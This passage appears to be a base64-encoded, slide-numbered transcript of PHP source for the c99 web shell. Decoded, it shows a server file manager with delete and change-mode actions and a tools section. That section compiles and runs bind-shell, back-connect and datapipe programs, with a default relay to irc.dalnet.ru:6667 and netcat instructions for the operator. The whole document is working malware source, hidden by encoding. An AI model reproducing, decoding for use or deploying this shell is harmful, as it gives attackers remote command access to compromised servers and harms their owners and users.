ICAkcm93W10gPSB2aWV3X3NpemUoJGFbMV0pOw0KICAgIH0NCiAgICAkcm93W10gPSBkYXRlKCJk Lm0uWSBIOmk6cyIsJGFbMl0pOw0KICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICRhWzNdO30NCiAg ICAgJHJvd1tdID0gICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2Rv LmFjdC52YWx1ZT0nY2htb2QnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdWQuIic7ZG9jdW1l bnQudG9kby5mLnZhbHVlPSciLiR1by4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjxiPiIu dmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICBpZiAoJG8gPT0gIi4iKSB7JGNo ZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBvbmNs aWNrPVwibHNfcmV2ZXJzZV9hbGwoKTtcIj4iOyAkaS0tO30NCiAgICBlbHNlIHskY2hlY2tib3gg PSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94 Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30NCiAgICBpZiAo aXNfZGlyKCR2KSl7JHJvd1tdID0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRv ZG8uYWN0LnZhbHVlPSdkJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIuJHV2LiInO2RvY3VtZW50 LnRvZG8uc3VibWl0KCk7XCI+STwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgZWxzZSB7JHJv d1tdID0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdm Jztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIuJHVvLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9 J2luZm8nO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdWQuIic7ZG9jdW1lbnQudG9kby5zdWJt aXQoKTtcIj5JPC9hPiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8u YWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIuJHVvLiInO2RvY3VtZW50LnRv ZG8uZnQudmFsdWU9J2VkaXQnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdWQuIic7ZG9jdW1l bnQudG9kby5zdWJtaXQoKTtcIj5FPC9hPiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRv
  • 36. Y3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIuJHVvLiIn O2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J2Rvd25sb2FkJztkb2N1bWVudC50b2RvLmQudmFsdWU9 JyIuJHVkLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+RDwvYT4mbmJzcDsiLiRjaGVja2Jv eDt9DQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbImhlYWQiXVtd ID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRy b3c7fQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyR0YWJbImZvbGRlcnMiXVtdID0gJHJvdzt9 DQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyR0YWJbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAg ICRpKys7DQogICB9DQogIH0NCiAgLy9Db21waWxpbmcgdGFibGUNCiAgJHRhYmxlID0gYXJyYXlf bWVyZ2UoJHRhYlsiY29scyJdLCR0YWJbImhlYWQiXSwkdGFiWyJmb2xkZXJzIl0sJHRhYlsibGlu a3MiXSwkdGFiWyJmaWxlcyJdKTsNCiAgZWNobyAiPGNlbnRlcj48Yj5MaXN0aW5nIGZvbGRlciAo Ii5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJmb2xkZXJz Il0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpOjwvYj48L2NlbnRlcj48YnI+PFRB QkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIGJnQ29sb3I9IzAwMzMw MCBib3JkZXJDb2xvckxpZ2h0PSM0MzMzMzMgYm9yZGVyPTA+PGZvcm0gbWV0aG9kPVBPU1QgbmFt ZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Ii4kZHNwYWN0 LiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iLiRkLiI+IjsNCiAgZm9yZWFjaCgk dGFibGUgYXMgJHJvdykNCiAgew0KICAgZWNobyAiPHRyPlxyXG4iOw0KICAgZm9yZWFjaCgkcm93 IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+XHJcbiI7fQ0KICAgZWNobyAiPC90cj5cclxu IjsNCiAgfQ0KICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249 XCJyaWdodFwiPg0KICA8c2NyaXB0Pg0KICBmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0 dXMpDQogIHsNCiAgIHZhciBpZCA9IDA7DQogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0y KS4iOw0KICAgd2hpbGUgKGlkIDw9IG51bSkNCiAgIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50 QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9IHN0YXR1czsNCiAgICBpZCsrOw0KICAgfQ0KICB9 DQogIGZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkNCiAgew0KICAgdmFyIGlkID0gMDsNCiAgIHZh ciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7DQogICB3aGlsZSAoaWQgPD0gbnVtKQ0KICAg ew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRv Y3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOw0KICAgIGlkKys7DQog ICB9DQogIH0NCiAgPC9zY3JpcHQ+DQogIDxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1c ImxzX3NldGNoZWNrYm94YWxsKDEpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNw OzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKDApO1wi IHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+PGI+IjsNCiAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRz ZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYp KQ0KICB7DQogICBlY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1hY3RhcmNidWZmIHZhbHVl PVwiUGFjayBidWZmZXIgdG8gYXJjaGl2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5h bWU9XCJhY3RhcmNidWZmX3BhdGhcIiB2YWx1ZT1cImFyY2hpdmVfIi5zdWJzdHIobWQ1KHJhbmQo MSwxMDAwKS5yYW5kKDEsMTAwMCkpLDAsNSkuIi50YXIuZ3pcIj4mbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdHBhc3RlYnVmZlwi IHZhbHVlPVwiUGFzdGVcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5w dXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVy XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgfQ0KICBlY2hvICI8 c2VsZWN0IG5hbWU9YWN0PjxvcHRpb24gdmFsdWU9XCIiLiRhY3QuIlwiPldpdGggc2VsZWN0ZWQ6 PC9vcHRpb24+IjsNCiAgZWNobyAiPG9wdGlvbiB2YWx1ZT1kZWxldGUiLigkZHNwYWN0ID09ICJk ZWxldGUiPyIgc2VsZWN0ZWQiOiIiKS4iPkRlbGV0ZTwvb3B0aW9uPiI7DQogIGVjaG8gIjxvcHRp b24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hh bmdlLW1vZGU8L29wdGlvbj4iOw0KICBpZiAoJHVzZWZzYnVmZikNCiAgew0KICAgZWNobyAiPG9w dGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwv b3B0aW9uPiI7DQogICBlY2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiLigkZHNwYWN0ID09ICJjb3B5 Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsNCiAgIGVjaG8gIjxvcHRpb24gdmFs dWU9dW5zZWxlY3QiLigkZHNwYWN0ID09ICJ1bnNlbGVjdCI/IiBzZWxlY3RlZCI6IiIpLiI+VW5z ZWxlY3Q8L29wdGlvbj4iOw0KICB9DQogIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBl PXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L3A+IjsNCiAgZWNobyAiPC9mb3JtPiI7DQogfQ0K fQ0KaWYgKCRhY3QgPT0gInRvb2xzIikNCnsNCiAkYm5kcG9ydHNyY3MgPSBhcnJheSgNCiAgImM5 OXNoX2JpbmRwb3J0LnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVwb3J0Iiks DQogICJjOTlzaF9iaW5kcG9ydC5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlcG9ydCAlcGFz cyIpDQogKTsNCiAkYmNzcmNzID0gYXJyYXkoDQogICJjOTlzaF9iYWNrY29ubi5wbCI9PmFycmF5 KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlaG9zdCAlcG9ydCIpLA0KICAiYzk5c2hfYmFja2Nv bm4uYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJWhvc3QgJXBvcnQiKQ0KICk7DQogJGRwc3Jj cyA9IGFycmF5KA0KICAiYzk5c2hfZGF0YXBpcGUucGwiPT5hcnJheSgiVXNpbmcgUEVSTCIsInBl cmwgJXBhdGggJWxvY2FscG9ydCAlcmVtb3RlaG9zdCAlcmVtb3RlcG9ydCIpLA0KICAiYzk5c2hf
  • 37. ZGF0YXBpcGUuYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJWxvY2FscG9ydCAlcmVtb3RlcG9y dCAlcmVtb3RlaG9zdCIpDQogKTsNCiBpZiAoIWlzX2FycmF5KCRiaW5kKSkgeyRiaW5kID0gYXJy YXkoKTt9DQogaWYgKCFpc19hcnJheSgkYmMpKSB7JGJjID0gYXJyYXkoKTt9DQogaWYgKCFpc19h cnJheSgkZGF0YXBpcGUpKSB7JGRhdGFwaXBlID0gYXJyYXkoKTt9DQoNCiBpZiAoIWlzX251bWVy aWMoJGJpbmRbInBvcnQiXSkpIHskYmluZFsicG9ydCJdID0gJGJpbmRwb3J0X3BvcnQ7fQ0KIGlm IChlbXB0eSgkYmluZFsicGFzcyJdKSkgeyRiaW5kWyJwYXNzIl0gPSAkYmluZHBvcnRfcGFzczt9 DQoNCiBpZiAoZW1wdHkoJGJjWyJob3N0Il0pKSB7JGJjWyJob3N0Il0gPSBnZXRlbnYoIlJFTU9U RV9BRERSIik7fQ0KIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpIHskYmNbInBvcnQiXSA9 ICRiY19wb3J0O30NCg0KIGlmIChlbXB0eSgkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSkpIHskZGF0 YXBpcGVbInJlbW90ZWFkZHIiXSA9ICJpcmMuZGFsbmV0LnJ1OjY2NjciO30NCiBpZiAoIWlzX251 bWVyaWMoJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSkpIHskZGF0YXBpcGVbImxvY2FscG9ydCJdID0g JGRhdGFwaXBlX2xvY2FscG9ydDt9DQogaWYgKCFlbXB0eSgkYmluZHN1Ym1pdCkpDQogew0KICBl Y2hvICI8Yj5SZXN1bHQgb2YgYmluZGluZyBwb3J0OjwvYj48YnI+IjsNCiAgJHYgPSAkYm5kcG9y dHNyY3NbJGJpbmRbInNyYyJdXTsNCiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmls ZSE8YnI+Ijt9DQogIGVsc2VpZiAoZnNvY2tvcGVuKGdldGVudigiU0VSVkVSX0FERFIiKSwkYmlu ZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDAuMSkpIHtlY2hvICJQb3J0IGFscmVkeSBpbiB1c2Us IHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7fQ0KICBlbHNlDQogIHsNCiAgICR3ID0gZXhwbG9kZSgi LiIsJGJpbmRbInNyYyJdKTsNCiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICB1bnNldCgk d1tjb3VudCgkdyktMV0pOw0KICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5 OTkpLiIuIi4kZXh0Ow0KICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAs OTk5KTsNCiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgIEB1 bmxpbmsoJHNyY3BhdGgpOw0KICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgaWYg KCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJy PiI7fQ0KICAgZWxzZWlmICghJGRhdGEgPSBjOTlnZXRzb3VyY2UoJGJpbmRbInNyYyJdKSkge2Vj aG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9DQogICBlbHNlDQogICB7DQogICAgZndyaXRl KCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsNCiAgICBmY2xvc2UoJGZwKTsNCiAgICBpZiAoJGV4 dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4k c3JjcGF0aCk7ICBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgi JXBhdGgiLCRiaW5wYXRoLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcG9ydCIs JGJpbmRbInBvcnQiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhc3MiLCRi aW5kWyJwYXNzIl0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZb MV0pOw0KICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7 DQogICAgc2xlZXAoNSk7DQogICAgJHNvY2sgPSBmc29ja29wZW4oImxvY2FsaG9zdCIsJGJpbmRb InBvcnQiXSwkZXJybm8sJGVycnN0ciw1KTsNCiAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4n dCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRiaW5kWyJwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hv dWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQ0KICAgIGVsc2Uge2VjaG8gIkJpbmRpbmcu Li4gb2shIENvbm5lY3QgdG8gPGI+Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIjoiLiRiaW5kWyJw b3J0Il0uIjwvYj4hIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYg Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVy PjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdwcm9jZXNz ZXMnO2RvY3VtZW50LnRvZG8uZ3JlcC52YWx1ZT0nIi5iYXNlbmFtZSgkYmlucGF0aCkuIic7ZG9j dW1lbnQudG9kby5zdWJtaXQoKTtcIj48dT5WaWV3IGJpbmRlcidzIHByb2Nlc3M8L3U+PC9hPjwv Y2VudGVyPiI7fQ0KICAgfQ0KICAgZWNobyAiPGJyPiI7DQogIH0NCiB9DQogaWYgKCFlbXB0eSgk YmNzdWJtaXQpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGJhY2sgY29ubmVjdGlvbjo8L2I+ PGJyPiI7DQogICR2ID0gJGJjc3Jjc1skYmNbInNyYyJdXTsNCiAgaWYgKGVtcHR5KCR2KSkge2Vj aG8gIlVua25vd24gZmlsZSE8YnI+Ijt9DQogIGVsc2UNCiAgew0KICAgJHcgPSBleHBsb2RlKCIu IiwkYmNbInNyYyJdKTsNCiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICB1bnNldCgkd1tj b3VudCgkdyktMV0pOw0KICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkp LiIuIi4kZXh0Ow0KICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5 KTsNCiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgIEB1bmxp bmsoJHNyY3BhdGgpOw0KICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgaWYgKCEk ZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7 fQ0KICAgZWxzZWlmICghJGRhdGEgPSBjOTlnZXRzb3VyY2UoJGJjWyJzcmMiXSkpIHtlY2hvICJD YW4ndCBkb3dubG9hZCBzb3VyY2VzISI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGZ3cml0ZSgkZnAs JGRhdGEsc3RybGVuKCRkYXRhKSk7DQogICAgZmNsb3NlKCRmcCk7DQogICAgaWYgKCRleHQgPT0g ImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3Bh dGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgi LCRiaW5wYXRoLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlaG9zdCIsJGJjWyJo b3N0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmNbInBvcnQi
  • 38. XSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAg JHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsNCiAgICBlY2hv ICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3Qi XSkuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJGJjWyJwb3J0Il0pLiIuLi48YnI+IjsNCiAgIH0NCiAg fQ0KIH0NCiBpZiAoIWVtcHR5KCRkcHN1Ym1pdCkpDQogew0KICBlY2hvICI8Yj5SZXN1bHQgb2Yg ZGF0YXBpcGUtcnVubmluZzo8L2I+PGJyPiI7DQogICR2ID0gJGRwc3Jjc1skZGF0YXBpcGVbInNy YyJdXTsNCiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9DQogIGVs c2VpZiAoZnNvY2tvcGVuKGdldGVudigiU0VSVkVSX0FERFIiKSwkZGF0YXBpcGVbInBvcnQiXSwk ZXJybm8sJGVycnN0ciwwLjEpKSB7ZWNobyAiUG9ydCBhbHJlZHkgaW4gdXNlLCBzZWxlY3QgYW55 IG90aGVyITxicj4iO30NCiAgZWxzZQ0KICB7DQogICAkc3JjcGF0aCA9ICR0bXBkaXIuJGRhdGFw aXBlWyJzcmMiXTsNCiAgICR3ID0gZXhwbG9kZSgiLiIsJGRhdGFwaXBlWyJzcmMiXSk7DQogICAk ZXh0ID0gJHdbY291bnQoJHcpLTFdOw0KICAgdW5zZXQoJHdbY291bnQoJHcpLTFdKTsNCiAgICRz cmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsNCiAgICRiaW5w YXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7DQogICBpZiAoJGV4dCA9PSAi cGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9DQogICBAdW5saW5rKCRzcmNwYXRoKTsNCiAgICRm cCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsNCiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3Jp dGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30NCiAgIGVsc2VpZiAoISRkYXRh ID0gYzk5Z2V0c291cmNlKCRkYXRhcGlwZVsic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQg c291cmNlcyEiO30NCiAgIGVsc2UNCiAgIHsNCiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigk ZGF0YSkpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2Mg PSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgQHVubGluaygk c3JjcGF0aCk7fQ0KICAgIGxpc3QoJGRhdGFwaXBlWyJyZW1vdGVob3N0Il0sJGRhdGFwaXBlWyJy ZW1vdGVwb3J0Il0pID0gZXhwbG9kZSgiOiIsJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0pOw0KICAg ICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgJHZbMV0g PSBzdHJfcmVwbGFjZSgiJWxvY2FscG9ydCIsJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSwkdlsxXSk7 DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZWhvc3QiLCRkYXRhcGlwZVsicmVtb3Rl aG9zdCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlcG9ydCIsJGRh dGFwaXBlWyJyZW1vdGVwb3J0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8v IiwiLyIsJHZbMV0pOw0KICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYv bnVsbCAmIik7DQogICAgc2xlZXAoNSk7DQogICAgJHNvY2sgPSBmc29ja29wZW4oImxvY2FsaG9z dCIsJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7DQogICAgaWYgKCEkc29jaykg e2VjaG8gIkkgY2FuJ3QgY29ubmVjdCB0byBsb2NhbGhvc3Q6Ii4kZGF0YXBpcGVbImxvY2FscG9y dCJdLiIhIEkgdGhpbmsgeW91IHNob3VsZCBjb25maWd1cmUgeW91ciBmaXJld2FsbC4iO30NCiAg ICBlbHNlIHtlY2hvICJSdW5uaW5nIGRhdGFwaXBlLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuZ2V0 ZW52KCJTRVJWRVJfQUREUiIpLiI6Ii4kZGF0YXBpcGVbInBvcnQiXS4iLCBhbmQgeW91IHdpbGwg Y29ubmVjdGVkIHRvICIuJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0uIjwvYj4hIFlvdSBzaG91bGQg dXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIi5nZXRlbnYoIlNFUlZFUl9BRERSIiku IiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIjXCIgb25jbGljaz1c ImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdwcm9jZXNzZXMnO2RvY3VtZW50LnRvZG8uZ3JlcC52 YWx1ZT0nIi5iYXNlbmFtZSgkYmlucGF0aCkuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48 dT5WaWV3IGRhdGFwaXBlIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQ0KICAgfQ0KICAgZWNo byAiPGJyPiI7DQogIH0NCiB9DQogPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBtZXRo b2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQg dHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+UG9ydDogPGlucHV0 IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lh bGNoYXJzKCRiaW5kWyJwb3J0Il0pOyA/PiI+Jm5ic3A7UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXRl eHQgbmFtZT0iYmluZFtwYXNzXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygk YmluZFsicGFzcyJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmluZFtzcmNdIj48P3BocA0K IGZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIi LiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNo byAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9 c3VibWl0IG5hbWU9YmluZHN1Ym1pdCB2YWx1ZT0iQmluZCI+PC9mb3JtPg0KPGI+QmFjayBjb25u ZWN0aW9uOjwvYj48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFt ZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAg ZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmNbaG9zdF0iIHZhbHVl PSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pOyA/PiI+Jm5ic3A7UG9y dDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1twb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRt bHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJjW3Ny Y10iPjw/cGhwDQpmb3JlYWNoKCRiY3NyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1
  • 39. ZT1cIiIuJGsuIlwiIjsgaWYgKCRrID09ICRiY1sic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30g ZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlw ZT1zdWJtaXQgbmFtZT1iY3N1Ym1pdCB2YWx1ZT0iQ29ubmVjdCI+PC9mb3JtPg0KQ2xpY2sgIkNv bm5lY3QiIG9ubHkgYWZ0ZXIgb3BlbiBwb3J0IGZvciBpdC4gWW91IHNob3VsZCB1c2UgTmV0Q2F0 JmNvcHk7LCBydW4gIjxiPm5jIC1sIC1uIC12IC1wIDw/cGhwIGVjaG8gJGJjX3BvcnQ7ID8+PC9i PiIhPGJyPjxicj4NCjxiPkRhdGFwaXBlOjwvYj48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5h bWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFt 